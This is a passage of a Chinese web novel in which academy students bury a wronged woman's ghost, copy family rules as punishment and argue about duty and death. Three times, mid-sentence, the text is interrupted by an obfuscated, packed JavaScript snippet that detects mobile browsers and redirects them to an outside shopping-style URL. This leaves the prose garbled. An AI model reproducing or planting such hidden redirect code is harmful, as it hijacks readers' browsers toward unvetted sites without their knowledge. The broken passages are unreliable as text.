刀刃比上烧焦发梢之处,看着眼前人,等她一个许可。 祝弥点头。 一截发丝便脱离落入他手中。 起身处理头发,桓错回来时又从身上掏出一个东西:“对了,还有这个。” 是一条白色细带。 但除了祝弥之外的人顷刻噗嗤笑出声。一向最有礼节有边界的王洵乐都在捂嘴抖着肩膀。 顶着三人异样的神色,祝弥接过:“?” 10. 邪符箓偷魂换生 祝弥昏迷时,桓错从地上捡起她的两件头饰:玉簪和缨带。才发现这人看似不起眼还三番五次被罚抄书,其实一直在糊弄书院先生们。 毕竟书院里最讲究仪容仪表,先生常说:“君子论道,先正衣冠,后正其心。” 而冠缨又是顶顶重要的一部分。 素色无纹的软布发带在三人面前荡了荡,三人才感慨最狂放不羁不受约束者当属这个祝梦成,原来这人看似无知得离谱,实则是万物皆不在意的超脱处世行径。果真世外高人啊—— 庾彦庭笑着问:“你原本缨带呢,哪里捡来的破布都系头上?亏得先生们没注意到,不然罚你多抄五篇!” 王洵乐也笑:“明日我给你拿个新的。” 桓错抬手嗅了嗅:什么皂角水,持香这么久。 “不许笑!”祝弥脸有些红,藏好那一小条布料。又翻翻白眼:“还不是怪桓错,刀太锋利。” 一通折腾,祝弥也再没什么异样,明日还有辰时上课,众人决定重新入睡。 不再熄灯,桓错合上被子躺下。 “你过去睡。”身边有无情又不容拒绝的声音传来。 确实无法拒绝,她一晚上太累了。 虽然不理解,桓错在庾彦庭和王洵乐中间重新躺下。 祝弥终于在单人大床上爽爽翻了个身。 被子被抢走的庾彦庭怒道:“先来后到的礼节呢?” 于是三人之床陷入了抢被大战,抢着抢着又忽然感慨起岁月匆匆,把手言谈起来,聊到兴头上还坐起来勾肩搭背。 有人摇头叹息说上一次同睡还是六年前。 桓错纠正是五年前。庾彦庭坚持是六年。二人又拌起嘴要王洵乐判决。王洵乐被迫陷入了回忆的沉思。 祝弥忍不住问:“你们两个到底为什么这么爱呛嘴?” 说着看过去,对面三人关系其实不如言语上那么生分,打横歪歪扭扭倒成一排,有人靠墙潇洒屈立着腿,有人懒散半躺掉下一截小腿,相互之间半贴半搂,尽管神情嫌弃,肢体却是亲近的。 桓错似乎心情不错,朝她抬了抬下巴:“单论相貌,梦成可还见过出我其右的人?” 鼻尖上红痣明晃晃地索求目光,顾盼生姿的眉眼睥睨过来。 ? 什么意思? 在说自己很好看?她刚刚问了什么来着?怎么还一副理所应该的口气? …… 忽然理解了老爱怼他的庾彦庭。 忽视掉张狂的语气,他那张脸确实招人,格外。 祝弥难以否认。 意外地,庾彦庭心虚地噤声了,在一旁安静地翻着白眼,好像这个话题是他天然的弱势,有回避的本能。 祝弥更加疑惑:? 对家还真就这么不甘心地默认了?快嘲笑他啊!这么没人性的话也说得出口! 你们手足龃龉的源头居然是外貌吗?! 这、么、肤、浅!? 祝弥没再被那张脸欺骗,露出了十分不给面子的嫌弃脸:“所以这就是你没朋友的原因吗?” 自称世界上最好看的脸一秒变阴天。 要不是一晚上桓错提醒了几次这人有洁癖,庾彦庭恨不得冲过去搂住祝弥的肩膀,感激涕零:“梦成,你就是我异父异母的亲兄弟。” * 第二天,三人是被祝弥一声不合时宜的呓语吓醒的。 她一睁眼就大喊:“原来梁川生从我进入山阴城的那一刻就盯上我了!” 桓错王洵乐在榻上,而庾彦庭体会到了昨晚祝弥的伤心时刻,是一睁眼就是蚂蚁般的贴地视角,他在地上。 兰亭上祝弥确实没有收到过梁川生的名帖。这些名帖也是因为她自知写字太差,存好以作学习之用的。阿苓临走前她还特意叮嘱了收好留下名帖。 梁川生这张,不是她接的,那就是阿苓接下,又擅自替她同类归置一起的。 还记得初入山阴城,阿苓买了个馅饼回来肩上就多了一团黑气,那时她正心酸回味上辈子总总,现在回想起阿苓的话,似乎听她说有个书生来搭话什么的。 “正常,乩童就别想远离神鬼邪祟之事了。你想逃,鬼可不会放过你。”庾彦庭挤到桓错旁边,重新趴回榻上,回答祝弥,“那梁川生那么厉害,估计一眼就看穿你这通灵体质,再旁敲侧击几句,发现你什么也不懂。是我我也选择你这颗炼魂大补丸,一定手牵着手带着大家和和美美被炼。妙啊。” 被猜透的祝弥惭愧得不敢说话,没错,她就像社畜牛马被压榨也只会回复:好的收到马上办。 桓错:“听起来你真的很想拜他为师。” 庾彦庭:“滚。” 王洵乐:“梁生逃了,彦庭应当是暗自庆幸的。” 庾彦庭微笑:“洵乐,你也滚。” 几人看似气定神闲地闲聊,其实都仰面朝天看天花板,是破罐破摔了。因为天已大亮,日光照进窗子里,讲堂处传来了学生朗诵的声音。 都装听不见。 很快,窗外浮现一个人影,半张脸出现在半开的窗缝里。 四人吓得半起身贴墙。 是羊胡子先生。正气得胡子朝天,开口却只针对一个人:“王洵乐!” 王洵乐意外地认命:“……先生。” 披头散发赤着脚就去开门。 听着先生点着他的头,一会说书院读书怎可懈怠,一会又说王家季林的丧事如何云云,祝弥才后知后觉回味过来王家大郎君这个身份,在书院、在王家都意味着什么。 是榜样、是继承人。 最后先生要这逃课四人抄王氏家规三遍,王洵乐抄六遍,便气冲冲甩袖走了。 祝弥窃喜:“才三遍!” 庾彦庭和桓错脸很黑:“得抄到下一个休沐日吧……” 王氏族谱可考至战国秦将王翦,五百年来家风之严学,代代有才人出,无数族人活跃在历朝历代史书之中。 罚桓、庾氏抄其家规,算不上辱没。 只是这五百年的家规……真真比他们四个人的命加起来再五倍都长。 既错过讲会,王家家规一时半会也抄不完,他们做了个去藏经阁的样子,绕开羊胡子先生的盯防,成功离开书院。 还有后事要处理。先去王家。 王家自季林一死就有道士轮班作法召魂,也有人像模像样摆了个七星灯还步罡踏斗地转来转去,灯灭了就趁人不注意偷偷续上。终于在昨日寅时,罗盘在季林尸身处终于有了反应,卜算从大凶变为吉。 好消息也从桓幼和房里传来,他随后不多时也醒了,一个劲儿地哭还讨水喝,最后要见祖母。 这是他自兰亭吐血以来第一次说话。 祖孙二人抱着哭至天亮。 庾彦庭路过那些揽功收钱的假道士,白眼都要翻上天了,胳膊肘捅捅王洵乐,示意招摇撞骗你不管? 王洵乐把他的手拍开,顺手披上仆从递来的素服,去桓幼和房间。 祝弥是第一次和清醒的桓幼和说话。 桓王两家的子弟,品貌怎么都是挑不出毛病的,不过桓幼和给祝弥最深刻的第一印象是眼睛亮亮的,会藏话,像冰山只露出一角。有点类似梁川生,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064798|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是桓幼和的眼神更为纯善清澈。祝弥不抗拒,还一见如故,也或许是召魂幡下一同差点被炼,劫后余生的二人天然的亲近。 同样是姓桓的,为什么另一个就那么一脸臭拽。 她问:“你可知惠娘?” 他虚弱勉力半起身,认真打量着祝弥,点点头:“惠娘有何求?” 祝弥说:“不是惠娘,是那个婴孩。” 桓幼和一惊,“那孩子是……” 祝弥沉痛点头。 那孩子是惠娘肚子里的孩子。 惠娘嫁到梁家,最初还以为是书香门第,结果是一坛酸臭菜缸,没享过一天的福。 这梁家祖上出过大官,到如今已是凋敝。家里再贫,二老也都有心气,一定要其子梁川生靠着读书光复门楣。何况自从怀真之祸后,世家放宽了对寒门察举入士的门槛,不少有学问但出自底层之人都做了他们的入幕之宾,搭上了青云梯。 正逢忍冬书院新修完毕,大增入学名额。 如果说如今世道上哪里还有不论门第出身只崇经纶满腹,除去钱唐这座百年书院,世间已难再有第二个世外桃源。届时和众世家子弟的同吃同住同学一场,同窗之谊比千金珍贵,此乃官场人脉。 这个机会对于梁家来说是千载难逢。 于是梁川生在外结交同识之士,学着附庸风雅,也经历过势利小人的刁难,囊中羞涩的窘迫,个中辛酸,不足为外人道也。 而惠娘要做的事情就简单多了,不下雨的时候还好,简单踏实,她和老牛作伴,经营几亩薄田,唯一的烦恼就是那姓王的定期挨家挨户来催粮。后来雨一直不停,田里的东西都没了,催粮的王富还是如约而至。 家里三张吃饭的嘴,来信总说缺钱的夫君,徭役修堤的榜文……惠娘实在没办法了,那王富却好心通融了她赋役的另一种方式…… 惠娘才知道,女子的美貌可真值钱。 …… 梁川生考上忍冬书院、上榜有名的那天,兴冲冲回家报喜,惠娘只当自己还有最后一件事要做好:梁家之大喜,得吃一顿丰盛饭。 …… 只道是,自缢鬼不成鬼,竟是那未出世的孩子怜母怜成了鬼。最后还为了母亲甘心受梁川生操控去夺魂。 借着祝弥能通灵,桓幼和也看见了惠娘的一生。二人相视不言,深长叹息。 祝弥还要去完成那鬼婴孩所求之事。于是便匆匆出门,还没出门便觉得哪不对劲。猛一回头,身后两个身影也尴尬停下。她无语:“我自己就行。孩子的心愿很小。” 桓错很坦然:“幼和让我盯着你,我在他才放心。” 庾彦庭看天:“这路是公家路,我走哪谁也管不着。” “真要和我去?” 二人毅然点点头。 山阴城的衣肆很久没见到贵人亲自上门购衣了,一来还来三个。只不过有点反常,是三个丰神俊朗华贵翩跹的公子哥。 原本在柜前招呼其他顾客的店主妇,余光中看见前来的三人中有人神色不善还趾高气昂,暗道不妙可能是来找茬的,便急忙入后找来了自己夫君,要他一起相迎。 祝弥看了看一进衣裳店就像猫怕水的桓庾二人,目不斜视,皱眉抱胸,脚不挪一步,浑身不自在。生怕别人看不出他们英伟挺拔的八尺男儿与此地气场深刻不合。 无语,强忍白眼,祝弥春风和煦地笑着对那掌柜妇人说:“店家,我给家里的妹妹挑成衣。”又挡住身后凶神恶煞的两位门神,“这两位,是随从,不是来找事的。” 桓错:“……” 庾彦庭:“……” 11. 邪符箓偷魂换生 店家夫妇骤然松气笑开,妇人不惜堆出脸上所有褶子,手帕甩到祝弥肩上,带出一阵香气,“哎哟,郎君,来我们店里就对了!” 说着便将人迎入铺内。 内里展柜衣裳琳琅满目,款式繁多。祝弥看花了眼,挑出来的衣裳都被店主妇用难以掩盖的神情婉拒了,曲裾款式的早已过时,这种料子是老太太穿的,那个是寝衣,这个是男装……旁边的几个娘子也看不下去,大着胆子问妹妹身量和喜好,每人挑出一件最满意的争着给她推荐。 祝弥实在手足无措,从人群中抬头问外面人:“你们也帮我看看?” 还是庾彦庭接受现状得快一些,拽着桓错就挤到展柜前跟着发表意见,惹得娘子们小声惊呼,更加雀跃。 祝弥指着一位娘子手上的简单大气的青衫白裙,对桓错、庾彦庭问:“你们也都见过惠娘……呃,我妹妹,她适合素一点?” 庾彦庭走近,摸着下巴,仔细打量,挑中了另一件绿衫红白间色裙,落肩处还有荷叶边:“这件吧,鲜艳活泼,惠娘会开开心心的。” 祝弥见过惠娘穿艳色衣裳,那是迫于生计,想必是极不开心的。自缢时穿的也是一件水洗成米白色的细布裙,看得出是她最好也较为值钱的衣裳了。因为她的尸身被取下时,那翁媪把她的外裳也剥了下来。 惠娘总是轻声温婉的,穿得太活泼,不像她。于是祝弥摇摇头,拒绝得很无情:“没品。” 庾彦庭被驳斥了,也不客气一时口快:“你要挑寿衣啊?” 说完就发现自己说错话了,又立马闭嘴。 祝弥狠狠地瞪了他一眼,又朝桓错:“哪件?” 几位娘子当即热情地举起衣裳围着桓错,希冀他多看自己一眼。 桓错来回看了两遍:“……不能都买吗?” 收获了祝弥的第二记白眼。她叹气,男人实在派不上用场,一个愚蠢口快到说寿衣,另一个的大款口气是要怎样,每月定期开棺给一具白骨换衣裳吗? 于是决定自作主张,就要素雅的那件。 庾彦庭不服气,还想为自己的审美争一口气,不惜举着自己看中的那件衣裳和祝弥的并排,对着桓错拉票:“灵玦,你再看看呢,这可是给你未过门的妻子挑的。” 桓错:“?” 祝弥:“?” “那不是吗,”庾彦庭理直气壮,下巴点点祝弥,又点点桓错:“你妹妹,不是他未婚妻吗?” 不光是为了拉高桓错意见的权重,他以往就爱做这些让小娘子们变脸的事情。 果不其然周围的娘子们掩饰不住的一连串“啊呀、哎呀”,拿衣裳的手都低了低。 但不知道为何,祝弥确实就把自己手里的衣裳朝桓错摆了摆,很给庾彦庭或者是他的面子,示意:给出你尊贵的意见吧未、婚、夫。 桓错无语。倒也仔仔细细打量起两件衣裳来,风格天差地别,他也看不出什么。唯一能看出的是,抬手作势选择庾彦庭手上那件时,庾彦庭眼睛就明亮起来,另一个就臭脸;改道去摸祝弥手上那件,祝弥嘴角就高高扬起,另一个就臭脸。 “……”桓错下一秒就有了倾向,“那就这件吧。” 祝弥眼睛眯眯,嘴角飞起。 庾彦庭咬牙切齿:“桓灵玦!你、你和她一样没品!” 结账时,祝弥摸摸前襟又摸摸袖子,犹豫了一下。回头看看桓错又看看庾彦庭,最终挑了一个看起来有钱的:“桓灵玦,你过来付钱。” 她有带钱包,只是忽然貔貅上身,不舍得自己出钱了。 桓错掏银钱的时候看见祝弥从店主妇那偷偷摸摸接过什么东西,随口一问:“还挑了什么?” “别管别管!”却立马被人慌里慌张地用一个背影彻底挡回视线。 “啧,我付的——”话音没落,他余光还是看见了一点,布料轻薄,小小一件,温暖柔软的烟红色,迅速被她藏到青白相间的衣料中去了。 那是什么? 不敢细想。 又不可置信地看向祝弥。 被她恼怒回瞪,嘴型三个字:别多嘴。 买完了衣裳去梁川生的家。梁二老失了儿子正哭哭啼啼,听见祝弥问惠娘该葬在何处、梁家祖坟在哪,又骤然支支吾吾起来。 祝弥不解,庾彦庭冷笑一声,说出梁老犹豫的心声,“惠娘怀了他人的孩子,又是自缢惨死,怎么还能算作梁家妇,对吧?” 桓错正欲使出一些经典桓氏手段让人心服口服。被祝弥拦下,语速很快:“知道了。” 不再强求。 最终他们选择了荒野地当作坟地——惠娘自缢的小树林,依山傍水,鸟语花香。想来她是很喜欢这片景色的。 最后一抔土盖上,葬好惠娘之后,祝弥对着梁二老说,声音冷冷:“惠娘一事本是你梁家事,你儿险些害了数条人命,如今王家看你们可怜不与你们计较,安葬惠娘的钱财人力我们也都料理了。我要你们只做一件事,从今往后,清明、中元、重阳、寒衣等等你们祭奠祖宗有的,惠娘也要有。” 二老颤抖着连连点头。 祝弥又认真补充:“别想着敷衍了事,人在做,天在看。我们几个是讲理之人,但鬼既不讲理也不是人。你们若不懂得知足感恩,它会来索命的。” 这不是吓唬人的虚言。 婴儿小鬼就守在母亲的坟边,安静了不少。从祝弥第一次看见它,只来来回回“听”见“娘无衣、娘无衣”三个字。 可祝弥心里十分萧敝,明明是它从未来到过这个世上,明明是它也没有衣裳穿啊。 那件婴儿穿的小肚兜,就在惠娘身旁,它会发现的。 料理完了后事,几人回了书院,在藏经阁和王洵乐碰面。从他那得知王家已经处置了王富。 今年汛期江满,洪涝连连,王家原本体恤民生,下达薄赋,谁知那王富竟吃了熊心豹子胆欺上瞒下,从中克扣粮税。难怪被梁川生记恨,第一个取的就是他的魄。王富转醒之后,跪地大恸不已,一副死里逃生幡然悔悟的样子,只道:“一切认罪认罚。” 祝弥对其他人的结局不为所动,坐下之后就沉心抄写王氏家规,什么忠、义、孝、信、节…… 一笔一划地写着,数出一个一个当下不适合写字的毛病:字太多、纸太软、墨太干、笔太燥、有人太吵。 庾彦庭不知自己上了黑名单,调戏完桓错、王洵乐,惹了两顿骂又凑到祝弥面前,一张大脸横在祝弥和毛笔中间,憋笑:“梦成,写几个字这么难过?我看你脸都黑了!” 祝弥不说话,举着毛笔尖尖就往他脸上戳去,吓得他一屁股墩坐在地上,嘿嘿地赔笑:“回来一句话也不说,灵玦和洵乐都不敢问,还以为你在和我们生气。” “是啊。”祝弥点兵点将:“你,你,你,我看你们三个都不爽。特别是你,王洵乐。” 王洵乐诧异:“啊?” 祝弥举起抄字的纸晃晃:“五百年的家规?你们姓王的一定都很引以为豪吧。” 他试探回:“还行……?” 祝弥:“当然自豪了,忠义孝信节样样都拿得出手,不光你们姓王的誓死捍卫自己树立起来的道德标杆,其他所有人也都追求这种德行美名,个个都有了不起的理想去实现,活着就是在挑选一种信条去死,还活着只是因为没找到。好像只有牺牲奉献的那一刻你们才真正地活着,就为了名垂千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064799|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古的万人赞怀,美其名曰丹心啊风骨啊。你们这个时代的人,命好像是最贱的。我看你们这家规第一条就该改成‘好死’!” 王洵乐有点懵,慢慢问:“死得其所,不是一个好结局么?” 庾彦庭拍着大腿表示痛快赞同:“那可不嘛,我就等着胡人继续往南打呢让我当个大将军光宗耀祖死在战场上,然后变成一只吃不饱的执念鬼,天天趴你耳边上给你说冷笑话,哈哈哈哈哈。” “既然是好结局为何你耿耿于怀王静源那么多年!”说完,祝弥又狠狠地白了庾彦庭一眼:“对对对,你死在几千里外的战场上,帅完后变成鬼就哭着想起我来了,但是对不起我这里不接野鬼的单子,您滚远点。” “死得其所”于逝者来说是好结局,对还活着的人来说又不是。王洵乐怎会不懂这种错位的生死观?祝弥短短几天就勘破他一直不愿说出口的矛盾感。 嗫嚅半天,他说:“大概是我境界不够。父亲……想必是心甘情愿,不然,也不会不寄魂于我,走得那么干脆。” “所以说,为什么总那么轻易地就去死!”祝弥的脸和耳朵憋得涨红,一个劲儿拿案几上的文具砸地上的庾彦庭,“还不是怪你们这洗脑的家规,什么狗屁忠义信孝节,害死了王静源,怀真之祸是他一手造就的又怎样啊,活下来多抱几本典籍留给后世不好吗,弥补不是该优先于谢罪吗?责任感呢?!还有惠娘,为了一毛不值的愚孝失去了贞节,又为了一毛不值的贞节去死了,那梁老头老太有感激她一点吗?多睡几个男人怎么了,就该死吗?九泉之下她知道自己肚子里的孩子有多想出世见见她吗?她甚至、她甚至留下了足够的钱给梁川生娶新的妻子……越想越气……” 庾彦庭闪躲砸过来的砚台,差点被就地正法,吓出颤音:“抄的这家规也不是我家的啊!你是要杀了我吗!” 桓错默默抢下并收好案几上还健在的物件。听她这一番话,他忽然找到祝弥这个人总是莫名吸引他的特质了。 很准确的四个字:“格格不入”。 言行、举止、眼神、看法都怪得很。一打眼望过去,她像在人群中如坐针毡,行坐都极其不自然。就好像她自己说的,她不属于‘这个时代’。但这话是什么意思? 桓错不对情绪失控之人辩经,指节叩叩桌面吸引注意力,只有一个简单问题想问:“‘木乃伊’是什么意思?那天你说洵乐变成木乃伊了。” 但他一开口就像火上浇油,祝弥转向他更加愤怒:“木乃伊就是你是一个猪头鹅!我最气的就是你!你的刀很锋利是吗,隔三岔五往人脖子上放?你给我交代这小半辈子一共杀过多少人,我要一一给他们伸冤!都不用画那什么招阴役鬼符就能给你老老实实治好了!” 祝弥气得起身要走,庾彦庭连忙拦住:“没错!这桓灵玦就是讨人厌!——嘿嘿梦成,姓王的家训气人归气人,我们都已誊抄到孝章了,你这,啧,就写了几个字,到时候先生只打你板子可别又发脾气。别气了,桓灵玦莽撞不懂事,您大人有大量气坏了身体可得不偿失。不是爱命吗?要修身养性消消气——” 桓错:“……” 祝弥:“哼!” 见她脸色稍有缓和,庾彦庭一面冲其他二人使眼色一面继续哄:“梦成可得好好教化教化我,日后我当了庾氏家主,马上改家规,第一条:人不想活,天诛地灭。第二条,庾氏兵法三十六计,苟活为上上计。” 肩膀蹭蹭她,挑眉讨好道:“如何?” 祝弥:“……” 庾彦庭把气冲冲的人迎回书案上,桓错黑着脸铺纸,王洵乐吞吞口水研墨,庾彦庭又觍着脸蘸笔递给她,一时间三书童殷勤伺候少爷,好大的排场。 12. 鬼跳傩舞傩面掉 祝弥好不容易赶上他们抄写的进度,天已经全暗了,只有烛火安静地晃动。抡着酸胀手臂走出屋外,发现那三人整整齐齐就着台阶靠躺看天,少见的祥和。 于是她也跟着抬头看。 是一片浓郁的星空。银河斜斜地从东南角天际伸出,四散泼洒出无数的星星点点,灿烂到让人迷失。 她在最旁边,庾彦庭的身边坐下,默默加入他们原本的谈话。 没人有多余动静看她。氛围似乎有点凝重,因为一向最吵闹的庾彦庭难得地很安静。 王洵乐瞥了祝弥一眼,声音低低继续道:“年幼时,长辈总说人死后会变成天上的星星,只有成名立业,自己的星星才会变得很亮,被所有人看见。我想,天上最亮的那颗大圆盘理所当然是天子。后来我又想,那未来有一天,父亲去世后的星星也应当和月亮一样亮。” 大概是受到祝弥先前那一通胡乱发脾气的影响,他发现把心里话统统说出口不是脆弱的表现。今天好像时间、氛围、人物都很适合,于是就着这片星空,他娓娓道来: “我一直在为自己是第二颗月亮的儿子而自豪,甚至暗暗期待天上出现第二颗月亮,真可笑啊,连死亡都不懂的年纪,先懂得了虚荣。或许不肯离开书院的父亲是被我咒死的。” “灵玦,当时我不理解你。什么‘鹅走梅山’,我只当这个称呼和行径是沽名钓誉,心里是轻视的。有些人就是这样,不自傲到狠狠地折断一下,就永远学不会低头和共情。等到我忽然发现王洵乐三个字后也跟着‘雪踏素足’的故事……那阵子若没有你来开解,我……很难走出来。那时我既害怕晚上抬头看见天,又厌烦了每天醒来都要重新逼自己确认一遍父亲已经不在。不在这两个字怎么形容呢,就是头上下着一场永远不会停的雨,而我还不愿撑伞……灵玦,对不起……” 说着他低头转着手上的那只玉笔,那只王静源赠给怀真,最后又回到王洵乐手里的笔,在月下隐隐泛着淡蓝色剔透的荧光。 忽然随手一抛,一抹荧光飞了出去,越过青石板,草地上滚了几下,被衬得更绿。 “哎哟喂!”庾彦庭弯着腰去追笔,一边擦拭一边小声抱怨:“……别拿玉器出气呀。” 桓错:“人无法有全然的感同身受。知我者、不知我者都是他人,本心应当如何,便如何。就像有人唤我‘弄鹅夫’,我倒也懒得计较。哪天心情实在不太好,”说到这里斜睨身旁人一眼,轻哼一声,“杀了他父母再自尽便是。” 庾彦庭被点名批评似地狠狠缩了缩脖子,格外心虚:“对不起行了吧,我父母双全,我不是人,我和您二位公子道歉。”说着又推推祝弥的肩膀,拉人下水似地,“梦成,快,你也父母双全,和二位伤心郎君道个歉。” 祝弥白了他一眼。 真要算的话,他们这里四个人加起来才勉强凑个两双父母。 都得和无父无母的小满道个歉。 王洵乐扯着嘴角笑出来一声。 “灵玦,你还记得你母亲的音容样貌吗?” 桓错:“……原本快忘了。” 祝弥:“……” 王洵乐:“我只要想到有一天父亲在我脑海里终将面目模糊成一种感觉,我就……心痛。” 在场的人默契闭口。 他手背盖在眼睫上,继续说:“可……我好像因此害死了季林叔父。” 因为不忍遗忘而用仇恨去记忆,却发现多年执念酝酿成一场恶果。 祝弥:“……” 桓错:“……” 庾彦庭:“……” 此时,三人不对视便心意相通:确实,不怪你怪谁呢。 可是没人要怪你。 无人敢接话。王洵乐按着额头喃喃:“还差点害了幼和……” 三人慌张一齐道:“幼和可不怪你!全是梁川生的错!” 祝弥憋了半天憋出一句安慰的话:“要不是被别有用心的人利用,怀真成鬼,顶多伤你自己,不伤别人!” 忽然手臂被人碰了碰,庾彦庭一脸嫌弃,凑到她耳边声音极低:“这是什么话!你得说:这一切都不是他的错,杀父之仇刻骨铭心,孔夫子来了也得花二十年自我开解!” 祝弥推他回去,也低声:“可怀真确实在那笔上,还能不怪他吗……你自己怎么不说!” “我说不出口!” “那我就说得出口了?” “我不配说!” “我是没立场!” 无视两人推推搡搡嘀嘀咕咕,桓错挡嘴咳嗽一声:“幼和的事非要怪,就怪梦成吧。” 祝弥:“?” 桓错坐直了点,侧过中间的庾彦庭看她:“梦成铁石心肠,冷漠无情,什么都能看见,却什么都不说。” 祝弥瞪大了眼睛:“血口喷人!” 这人怎么这样!鸟尽弓藏、过河拆桥?早就和他澄清了,她是初来乍到云里雾里,什么都不知道! 桓错:“早知道我见你第一面就该把匕首拿出来,这样你也不敢有所保留了。” 世间若还有人对军功起家的桓氏武力值不服,不是存心寻死的就是井底之蛙。 不服的井底之蛙气急败坏,梗直了脖子:“你想打架吗?” 听见祝弥这话,本来想默默退出交锋点的庾彦庭又硬着头皮拦在中间:“可别了,我皮糙肉厚、偶尔惹惹着他就算了,你这瘦胳膊瘦腿的,可经不住半把式。” 找梁川生的那晚,三个人都当昏迷的祝弥是累赘,跑着跑着轮流甩手了个遍,每个一接过都分神讶异:这人怎么会这么轻? 有人双手托着还颠了颠,发愣似地再三确认。 “就是因为弱才敢啊,你看他敢还手吗?”说着,祝弥就越过庾彦庭朝桓错扑过去。 庾彦庭先闪,桓错后闪,二人顷刻灵活跳开,像有狗屎临头、老太碰瓷一样避之不及。 桓错拍拍衣袍,冷眼一瞥:谢了,确实不敢。 怕一不小心造了杀业惹鬼上身,还找不到驱鬼的了,因为驱鬼的就是那只鬼。 祝弥扑了空,像个猫似地扑到王洵乐眼下,四目相对。 “噗——” 然后就看见王洵乐那张原本还拧眉抿唇的脸忽然笑开,眉目舒展,嘴角弯弯: “我从没想过治灵玦的竟是梦成这样的人。” 他手肘支在膝上,手掌托着下颌,露出了王家大郎君一贯温润如玉的和煦笑脸:“果然啊,兰亭那晚我就觉得你们很有缘。” 一时间几人深感肉麻,很是无语。 祝弥翻了个身,一抬眼就看见天空上最容易辨认的“猎户腰带”三颗星,像是想起什么,胡乱指着天空,信手拈来:“星座的话,洵乐应该是巨蟹座,彦庭是射手座,桓灵玦嘛……哼,没那义务透露。” 鉴于祝弥的卜天官的家庭背景,三人只当这是什么闻所未闻的卜天玄妙用语,一时都谨慎了起来,不由得暗下思考:“星座”是什么,怎么不是星宿、也不是星官? 后来,任凭他们再怎么央求祝弥解释巨蟹和射手的含义,可是时运?可是劫难?可是谶言?祝弥只一脸得逞,只摇头不语,笑得很开心。 因为桓错的脸最黑:……那我没有座吗? 夜深,不宜吵闹,四人回寝,各自入睡。 祝弥到这儿的时间长了,认识了一些人,加上鬼里鬼气的梁川生也不会在眼前晃悠、且只要她不存心惹桓错也不会动不动有刀架在她脖子上。这下总算安心了些,潜心练字、上课、抄书、睡大觉——和鬼打完交道总是很累、很累,只比以前一天三份兼职好点。 书院里少了个学生,少了个先生,像是没人发现似地,一切照常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064800|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运行。 天天往山阴跑、制服底下是孝服的王洵乐像时钟报时,告诉她哪天是入殓,哪天是停柩,哪天又要出殡。祝弥不懂他什么意思,只懂鬼,只知道能去王家吊唁的,都是大人物,她不配去。 毕竟,那可是天上第二颗月亮的弟弟的丧事,怎么说,至少也得是颗大火星。 而她自己,是只萤火虫吧。 桓错说的没错,世上没有百分之百的感同身受。 祝弥完全不感同身受那三个桓王庾,随便他们死了爹又死了娘,她不是不想,是确实做不到。如果她不是祝弥,那她这辈子都不可能和他们说上一句话。人家是公卿显贵之流,钟鸣鼎食之家,一举一动都有史官似的门客记录,什么“鹅走梅山”、“雪踏素足”,又惨又美,而她小满的倒霉巅峰——一天三份兼职下班下雨没伞手机掉水里回家外卖被偷洗澡没热水发脾气脚趾头撞到桌腿。 太长了,上不了台面。 小满其实很阴暗,老鼠人似地仇富。但她尽量让祝弥光明一点,心态放平一点,特别是天天对着桓错,那张脸。 不让桓错移动两床之间的屏风,再三强调自己的洁癖,不喜触碰,一碰别人就像浑身有蚂蚁在爬。 被莫名警告的桓错托着双手,凭空颠了颠,“那天你被偷魂,我们六只手对你又抗又抬的,怎么没见你难受得自己起来走?” “晕倒不算。” “藏经阁怀真现身时,你抓着洵乐的手。” “扶乩不算。” “骑马你一直勒我的腰。” “……隔着衣裳!” “洁癖的标准可真灵活。” “……反正我说了算!” 这人怎么还挺嘴欠的,下头了! 每天晚上入睡她会翻遍脑海,追忆收藏夹里的那几位男菩萨,缓解燃眉之急的焦虑感。 还是隔着屏幕的好,会媚笑讨好,扭腰跳舞,最重要的,边界感很足,绝对不会半夜爬上她的床、又或者莫名睡在她旁边。 因为男女实在有别。 年长她几岁的惠娘扮男装去修堤岸已是十分勉强,身形、腰肢,她作为女性天然地由此能分辨惠娘是女子。而如今她十六岁,借着少年人未发育完全的身形雌雄难辨,才得以混迹在这个书院里,而不知道还要在这里待多久。 她不想陷入和惠娘相同的境地。 这夜晚是越来越难熬了,她得等邻床先有熟睡的动静才能慢慢入眠。 一日课后,王洵乐给他们透露一个书院的内部消息,大约要早于官方两个休沐周期:下月的书院第一次会讲,他长姐服完丧,会来听讲。 祝弥不懂的事很多,但是很会察言观色——主要是看另外二位的反应:庾彦庭的脸意外地冷了下来,而桓错,一副做作的风轻云淡。 她眉毛一挑:嗯?有故事! 会讲是书院历年来的一大特色。会请来一些声名远扬的文人学士来当客座先生,或讲课,或辩经。届时书院向公共开放,有心求学之人亦可入院旁听参与。 